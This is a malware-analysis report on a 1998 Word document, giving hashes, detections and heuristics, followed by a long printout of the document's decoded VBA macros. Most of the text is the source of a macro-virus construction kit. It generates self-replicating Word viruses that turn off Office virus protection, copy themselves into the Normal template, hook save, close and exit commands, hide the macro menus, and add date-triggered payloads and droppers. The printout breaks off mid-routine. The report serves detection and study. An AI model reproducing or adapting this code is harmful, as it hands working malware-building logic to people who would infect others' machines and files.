Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 59c67da37c3039a0…

MALICIOUS

Office (OLE)

3.03 MB Created: 1998-01-24 19:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 95a2859a8f7b790a5c65c598eb5521dd SHA-1: c0b2f1c0a9e5c0247d72e025166aadfbe25e8174 SHA-256: 59c67da37c3039a042bc85ec65a614900085c28f33975fd228a1e4af182046d3
378 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1041 Exfiltration Over C2 Channel

The sample contains legacy WordBasic macro-virus markers and critical VBA heuristics indicating the use of Shell() calls, strongly suggesting malicious intent. The document body presents a deceptive EULA for a macro-virus kit, aiming to lure users into enabling macros. The presence of numerous unknown reputation URLs indicates potential C2 communication or payload delivery.

Heuristics 10

  • ClamAV: Doc.Trojan.VMPCK1-15 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.VMPCK1-15
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Print #hFile, "Shell ""dialer.exe"", vbNormalFocus"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Print #hFile, "    .VirusProtection = False"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        Print #hFile, "Sub AutoClose()"
  • Heap-spray pattern detected high SC_HEAP_SPRAY
    Repeated 0x06 bytes found
    Disassembly hidden — these bytes score as degenerate, not coherent x86 code (single mnemonic 'push' is 79% of instructions — a sled or padding/filler run, not program logic).
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • NOP-equivalent sled detected medium SC_NOP_EQUIV_SLED
    Long run of 0x43 bytes
    Disassembly hidden — these bytes score as data, not coherent x86 code (0/1 branch targets land on an instruction boundary (0% coherence)).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.koam.com In document text (OLE body)
    • http://www.sex.seIn document text (OLE body)
    • http://www.pipo.com/guillermito/darkweb/virus.html�In document text (OLE body)
    • http://www.avp.ch/avpve/�In document text (OLE body)
    • http://usa-1.gsd.com.au/freeporn/livevid.htm�In document text (OLE body)
    • http://www.avp.ch/avpve/In document text (OLE body)
    • http://usa-1.gsd.com.au/freeporn/livevid.htmIn document text (OLE body)
    • http://www.pipo.com/guillermito/darkweb/virus.htmlIn document text (OLE body)
    • http://www.somewhere.com/test.htmlIn document text (OLE body)
    • http://www.vic.net/index.htmlIn document text (OLE body)
    • http://www.yahoo.com/News_and_Media/Television/Shows/Cartoons/South_Park/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1577164 bytes
SHA-256: 420bee367b5f9fb07c5e14eb8aa4e7dc7bdd90c5e3948532b2529b9d1ac77259
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "WelcomeFrm"
Attribute VB_Base = "0{9B71EBD0-9E58-11D1-9F3B-444553540000}{9B71EB60-9E58-11D1-9F3B-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Begin1Btn_Click()
    WelcomeFrm.Hide
    PoppyStartFrm.Show
End Sub

Private Sub ExitBtn_Click()
    ActiveDocument.Close
    End
End Sub

Private Sub Image1_Click()
    MsgBox "No info here but... there are a few hidden hints and bits of information to be found.", vbExclamation, "The Narkotic Network"
End Sub


Attribute VB_Name = "VMPCK"
Public FileCount As Integer
Public Payload As Integer
Public Trigger As Integer
Public PhoneNumber As String
Public Noise As Integer
Public Stealth As Integer
Public Message As Integer
Public Skip As Integer
Public noname As Integer
Public RandomSetting As Integer
Public BMonth As Integer
Public BDay As Integer
Public PDay As Integer
Public Dropvirus As Integer
Public PMonth As Integer
Public vname As String
Public xauthor As String
Public xsubject As String
Public xtitle As String
Public xkeywords As String
Public xcomments As String
Public BGTxt As String
Public RMT As String
Public HA As String
Public mne As String
Public URL As String
Public ReplaceT As String
Public WithT As String
Public BG As Boolean
Public nt As Boolean
Public SE As Boolean
Public RM As Boolean
Public HAT As Boolean
Public NoHead As Boolean
Public ExeDrop As Boolean
Public FSA As Boolean
Public EF As Boolean
Public AO As Boolean
Public AC As Boolean
Public ND As Boolean
Public AEXIT As Boolean
Public AEXEC As Boolean
Public FP As Boolean
Public FS As Boolean
Public FC As Boolean
Public FE As Boolean
Public TOOL As Boolean
Public FN As Boolean
Public ROR_X As Boolean
Public ID_X As Boolean
Public DP_X As Boolean
Public PPWeb As Boolean
Sub AutoOpen()

    PMonth = 0
    PDay = 0
    BMonth = 0
    BDay = 0
    Skip = 0
    Payload = 0
    Trigger = 0
    Noise = 0
    Stealth = 0
    Message = 0
    noname = 0
    Dropvirus = 0
    FileCount = 1
    Application.WindowState = wdWindowStateMinimize
    WelcomeFrm.Show
    
End Sub

Sub BuildPoppy(strFile As String)
 
 Dim hFile As Long
 
 Randomize
 VirusName$ = vname

rvdie1 = Int(Rnd * 13) + 1
rvdie2 = Int(Rnd * 13) + 1
rvdie3 = Int(Rnd * 13) + 1
rvdie4 = Int(Rnd * 13) + 1
rvdie5 = Int(Rnd * 13) + 1

qran = Int(Rnd * 13) + 1


If rvdie1 = 1 Then sel1$ = "lkasdjf"
If rvdie1 = 2 Then sel1$ = "asldifj"
If rvdie1 = 3 Then sel1$ = "asdfwqe"
If rvdie1 = 4 Then sel1$ = "mplijre"
If rvdie1 = 5 Then sel1$ = "erwtjky"
If rvdie1 = 6 Then sel1$ = "spavoiu"
If rvdie1 = 7 Then sel1$ = "vsoiuwe"
If rvdie1 = 8 Then sel1$ = "asfliuv"
If rvdie1 = 9 Then sel1$ = "wquwiqn"
If rvdie1 = 10 Then sel1$ = "wqeziou"
If rvdie1 = 11 Then sel1$ = "wqeiuzv"
If rvdie1 = 12 Then sel1$ = "qwzpiuc"
If rvdie1 = 13 Then sel1$ = "qppoiuc"
 
If rvdie2 = 1 Then sel2$ = "lkasdf"
If rvdie2 = 2 Then sel2$ = "asldij"
If rvdie2 = 3 Then sel2$ = "asdfqe"
If rvdie2 = 4 Then sel2$ = "mpljre"
If rvdie2 = 5 Then sel2$ = "ertjky"
If rvdie2 = 6 Then sel2$ = "savoiu"
If rvdie2 = 7 Then sel2$ = "vsiuwe"
If rvdie2 = 8 Then sel2$ = "asfiuv"
If rvdie2 = 9 Then sel2$ = "wquwqn"
If rvdie2 = 10 Then sel2$ = "wqezou"
If rvdie2 = 11 Then sel2$ = "wqeizv"
If rvdie2 = 12 Then sel2$ = "qwziuc"
If rvdie2 = 13 Then sel2$ = "qpoiuc"
  
If rvdie3 = 1 Then sel3$ = "lkasswe"
If rvdie3 = 2 Then sel3$ = "aswerij"
If rvdie3 = 3 Then sel3$ = "asdfwer"
If rvdie3 = 4 Then sel3$ = "mpwerre"
If rvdie3 = 5 Then sel3$ = "ewerjky"
If rvdie3 = 6 Then sel3$ = "savower"
If rvdie3 = 7 Then sel3$ = "weriuwe"
If rvdie3 = 8 Then sel3$ = "asfrwev"
If rvdie3 = 9 Then sel3$ = "wqwerrn"
If rvdie3 = 10 Then sel3$ = "wqrtyrt"
If rvdie3 = 11 Then sel3$ = "wqrtyzv"
If rvdie3 = 12 Then sel3$ = "qzyriuc"
If rvdie3 = 13 Then sel3$ = "qrtyrtc"
  
If rvdie4 = 1 Then sel4$ = "yyyyswe"
If rvdie4 = 2 Then sel4$ = "sdgerrij"
If rvdie4 = 3 Then sel4$ = "asdretr"
If rvdie4 = 4 Then sel4$ = "mjtytrre"
If rvdie4 = 5 Then sel4$ = "eyuijky"
If rvdie4 = 6 Then sel4$ = "styuwer"
If rvdie4 = 7 Then sel4$ = "wwqeiuwe"
If rvdie4 = 8 Then sel4$ = "aswewev"
If rvdie4 = 9 Then sel4$ = "wqwewen"
If rvdie4 = 10 Then sel4$ = "wqryuyt"
If rvdie4 = 11 Then sel4$ = "wxvcyzv"
If rvdie4 = 12 Then sel4$ = "tutrriuc"
If rvdie4 = 13 Then sel4$ = "qtrurtc"
  
If rvdie5 = 1 Then sel5$ = "uiterey"
If rvdie5 = 2 Then sel5$ = "vailiaq"
If rvdie5 = 3 Then sel5$ = "mrewtne"
If rvdie5 = 4 Then sel5$ = "viubuxb"
If rvdie5 = 5 Then sel5$ = "mmmbibi"
If rvdie5 = 6 Then sel5$ = "mopghgj"
If rvdie5 = 7 Then sel5$ = "wrwetvz"
If rvdie5 = 8 Then sel5$ = "qwertre"
If rvdie5 = 9 Then sel5$ = "muytruyt"
If rvdie5 = 10 Then sel5$ = "buttchee"
If rvdie5 = 11 Then sel5$ = "fuckosd"
If rvdie5 = 12 Then sel5$ = "aewpqer"
If rvdie5 = 13 Then sel5$ = "myasshole"
  

  
If qran = 1 Then quote$ = "Bad Ideas for Bad People"
If qran = 2 Then quote$ = "Christianity is Nothing More Than a Poorly Thought-out Moral Safety Net"
If qran = 3 Then quote$ = "Social Camouflage for This Modern Age"
If qran = 4 Then quote$ = "Live for Now"
If qran = 5 Then quote$ = "Pain, everyday..."
If qran = 6 Then quote$ = "Hurt, everything..."
If qran = 7 Then quote$ = "Loveless, all"
If qran = 8 Then quote$ = "Forever Never Happens"
If qran = 9 Then quote$ = "Mortality is Pure Evil"
If qran = 10 Then quote$ = "Let the dog die"
If qran = 11 Then quote$ = "Mentally out of service"
If qran = 12 Then quote$ = "Give me DRUGS!"
If qran = 13 Then quote$ = "Daddy's got a big o'l bag-a-chicken"


  
id1 = Int(Rnd * 9999)
id2 = Int(Rnd * 9999)
ID3 = id1 - id2



spam1 = Int(Rnd * 9999)
spam2 = Int(Rnd * 9999)

msfile$ = "f" & spam2 & "$"

sel5$ = sel5$ & id1
sel4$ = sel4$ & id2
sel3$ = sel3$ & id1 & id2
sel2$ = sel2$ & id2 & id1
sel1$ = sel1$ & spam1 & id1


pload$ = "p" & spam1

' Begin Write MacPoppy

     hFile = FreeFile
     Open strFile For Output Access Write As hFile
     
' Header and Start Of Virus Sub

    Print #hFile, "Attribute VB_Name = """ + VirusName$ + """ "
    
' Set F|N Skip Trigger
    
If FN = True Then

    Print #hFile, "    "
    Print #hFile, "Public Skip As Integer"
    Print #hFile, "    "
    
End If
    
    Print #hFile, "    "
    Print #hFile, "Sub " + VirusName$ + "()"
    
If NoHead = False Then
    
    Print #hFile, "    "
    Print #hFile, "    'Produced by,"
    Print #hFile, "    'The VicodinES Macro.Poppy Construction Kit v1.0b"
    Print #hFile, "    '================================================"
    Print #hFile, "    'Code Written by VicodinES """ + quote$ + """"
    Print #hFile, "    'Poppy ID : " & id1 & id2 & ID3
    Print #hFile, "    "
If Payload = 7 Then Print #hFile, "    '^--->dropper code ENABLED    "
    Print #hFile, "    "
    
End If

    Print #hFile, "On Error Resume Next"

If RM = True Or Trigger = 2 Or ND = True Then

    Print #hFile, "Randomize"

End If

If ND = True Then

    Print #hFile, "sv = Int(Rnd * 3) + 1"
    Print #hFile, "If sv = 1 Then svt$ = ""porno.doc"""
    Print #hFile, "If sv = 3 Then svt$ = ""readme!.doc"""
    Print #hFile, "If sv = 2 Then svt$ = ""sex.doc"""

End If

Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
' Click The Basics
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")

    Print #hFile, "With Options"
    Print #hFile, "    .ConfirmConversions = False"
    Print #hFile, "    .VirusProtection = False"
    Print #hFile, "    .SaveNormalPrompt = False"
    Print #hFile, "End With"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "ActiveDocument.ReadOnlyRecommended = False"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
' Do random number payload check

If Trigger = 2 Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "check = Int(Rnd * " & RandomSetting & ")"
If Payload < 7 Then Print #hFile, "If check = 3 then Call " + pload$
If Payload = 7 Then
Print #hFile, "If check = 3 then Call " + pload$ + "(""C:\start.scr"")"
Print #hFile, "If check = 3 then Call startv(""c:\startv.bat"")"
End If
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
End If

If RM = True Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "rm = Int(Rnd * 100)"
    Print #hFile, "    If rm = 99 Then MsgBox """ & RMT & """,vbSystemModal"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
End If

' If payload is Day/Date then set

If Trigger = 1 Then

Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If PDay = 100 And Payload < 7 Then Print #hFile, "If Month(Now()) = " & PMonth & " Then Call " + pload$
If PDay = 100 And Payload = 7 Then
Print #hFile, "If Month(Now()) = " & PMonth & " Then Call " + pload$ + "(""C:\start.scr"")"
Print #hFile, "If Month(Now()) = " & PMonth & " Then Call startv(""c:\startv.bat"")"
End If
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If PMonth = 100 And Payload < 7 Then Print #hFile, "If Day(Now()) = " & PDay & " Then Call " + pload$
If PMonth = 100 And Payload = 7 Then
Print #hFile, "If Day(Now()) = " & PDay & " Then Call " + pload$ + "(""C:\start.scr"")"
Print #hFile, "If Day(Now()) = " & PDay & " Then Call startv(""c:\startv.bat"")"
End If
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
If PDay < 100 And PMonth < 100 And Payload < 7 Then Print #hFile, "If Month(Now()) = " & PMonth & " And Day(Now()) = " & PDay & " Then Call " + pload$
If PDay < 100 And PMonth < 100 And Payload = 7 Then
Print #hFile, "If Month(Now()) = " & PMonth & " And Day(Now()) = " & PDay & " Then Call " + pload$ + "(""C:\start.scr"")"
Print #hFile, "If Month(Now()) = " & PMonth & " And Day(Now()) = " & PDay & " Then Call startv(""c:\startv.bat"")"
End If
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
End If

' Check if B-Day Greeting

If BG = True Then Print #hFile, "If Month(Now()) = " & BMonth & " And Day(Now()) = " & BDay & " Then MsgBox """ & BGTxt & """,vbinformation, ""Birthday Greeting!!!"""

' Set The Document Properties

If DP_X = True Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "With Dialogs(wdDialogFileSummaryInfo)"
If DP_X = True And xauthor <> "" Then Print #hFile, "    .Author = """ & xauthor & """"
If DP_X = True And xtitle <> "" Then Print #hFile, "    .Title = """ & xtitle & """"
If DP_X = True And xsubject <> "" Then Print #hFile, "    .Subject = """ & xsubject & """"
If DP_X = True And xcomments <> "" Then Print #hFile, "    .Comments = """ & xcomments & """"
If DP_X = True And xkeywords <> "" Then Print #hFile, "    .Keywords = """ & xkeywords & """"
    Print #hFile, "    .Execute"
    Print #hFile, "End With"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
End If

' Start of Infection Routine
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, sel2$ & rvdie3 & " = 0"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "set " & sel3$ & rvdie2 & " = MacroContainer"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
' Check Read-Only Remover Status

If ROR_X = True Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, " " + msfile$ + " = ""c:\windows\startm~1\programs\startup\msfile.bat"""
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, sel1$ + " = GetAttr(NormalTemplate.FullName)"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "If " + sel1$ + " = vbReadOnly and System.OperatingSystem = ""Windows"" and System.LanguageDesignation = ""English(United States)"" Then Call vBitchES(" + msfile$ + ")"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "If " + sel1$ + " = vbReadOnly + vbArchive and System.OperatingSystem = ""Windows"" and System.LanguageDesignation = ""English(United States)"" Then Call vBitchES(" + msfile$ + ")"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "If " + sel1$ + " = vbReadOnly Then GoTo fuckoff"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "If " + sel1$ + " = vbReadOnly + vbArchive Then GoTo fuckoff"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")

End If
    
' Continue Infection Routine
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "If " + sel3$ & rvdie2 & " = NormalTemplate Then " + sel2$ & rvdie3 & " = 1"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "If " + sel2$ & rvdie3 & " = 1 Then " + sel4$ & rvdie1 & " = NormalTemplate.FullName Else " + sel4$ & rvdie1 & " = ActiveDocument.FullName"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "If " + sel2$ & rvdie3 & " = 1 Then " + sel5$ & rvdie4 & " = ActiveDocument.FullName Else " + sel5$ & rvdie4 & " = NormalTemplate.FullName"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Application.OrganizerCopy Source:=" + sel4$ & rvdie1 & ", Destination:=" + sel5$ & rvdie4 & ", Name:=""" + VirusName$ + """, Object:=wdOrganizerObjectProjectItems"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    
If FN = True Then
    Print #hFile, "If " + sel2$ & rvdie3 & " = 1 and Skip <> 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument"
End If
If FN = False Then
    Print #hFile, "If " + sel2$ & rvdie3 & " = 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument"
End If

Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "If " + sel2$ & rvdie3 & " = 0 Then"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "     If NormalTemplate.Saved = False Then NormalTemplate.Save"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "     End If"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
' Icon Disco Call

If ID_X = True Then
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "            Call dhIconDisco(""C:\autorun.inf"")"
    

Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
End If
If Stealth = -1 Then
    Print #hFile, "CommandBars(""tools"").Controls(""Macro"").Delete"
    Print #hFile, "CommandBars(""tools"").Controls(""Templates and add-ins..."").Delete"
End If


' The End of Infection Routine
    
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Print #hFile, "'VMPCK v1.0b"
    Print #hFile, "fuckoff:"
    Print #hFile, "End Sub"

' Build H|A Message Hook

If HAT = True Then

    Print #hFile, "Sub HelpAbout()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    MsgBox """ & HA & """,vbInformation"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If



' Build F|N Hook

If FN = True Then

    Print #hFile, "Sub FileNew()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Dialogs(wdDialogFileNew).Show"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Skip = 1"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"
    
End If

' Build F|S Hook

If FS = True Then

    Print #hFile, "Sub FileSave()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    ActiveDocument.Save"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

' Build F|C Hook

If FC = True Then

    Print #hFile, "Sub FileClose()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    If ActiveDocument.Saved = False Then ActiveDocument.Save"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    ActiveDocument.Close"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

If TOOL = True Then

    Print #hFile, "Sub ToolsOptions()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Dialogs(wdDialogToolsOptions).Show"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

If EF = True Then

    Print #hFile, "Sub EditFind()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Dialogs(wdDialogEditFind).Show"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

If FSA = True Then

    Print #hFile, "Sub FileSaveAs()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Dialogs(wdDialogFileSaveAs).Show"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

' Build F|C Hook


If FP = True Then

    Print #hFile, "Sub FilePrint()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "Dialogs (wdDialogFilePrint).Show "
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

' Build F|E Hook

If FE = True Then

    Print #hFile, "Sub FileExit()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    If ActiveDocument.Saved = False Then ActiveDocument.Save"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    
If ND = True Then
    Print #hFile, "        ChangeFileOpenDirectory ""p:"""
    Print #hFile, "        ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:="", AddToRecentFiles:=False, WritePassword:="", ReadOnlyRecommended:=False"

    Print #hFile, "        ChangeFileOpenDirectory ""h:"""
    Print #hFile, "        ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:="", AddToRecentFiles:=False, WritePassword:="", ReadOnlyRecommended:=False"

    Print #hFile, "        ChangeFileOpenDirectory ""f:"""
    Print #hFile, "        ActiveDocument.SaveAs FileName:=svt$, LockComments:=False, Password:="", AddToRecentFiles:=False, WritePassword:="", ReadOnlyRecommended:=False"
End If
    
    
    Print #hFile, "    Application.Quit"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "End Sub"

End If

' Build AutoOpen Hook

If AO = True Then

    Print #hFile, "Sub AutoOpen()"
    Print #hFile, "    On Error Resume Next"
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
Call MacroNoiseEngine("c:\windows\desktop\macpoppy.bas")
    Print #hFile, "    Call " + VirusName$
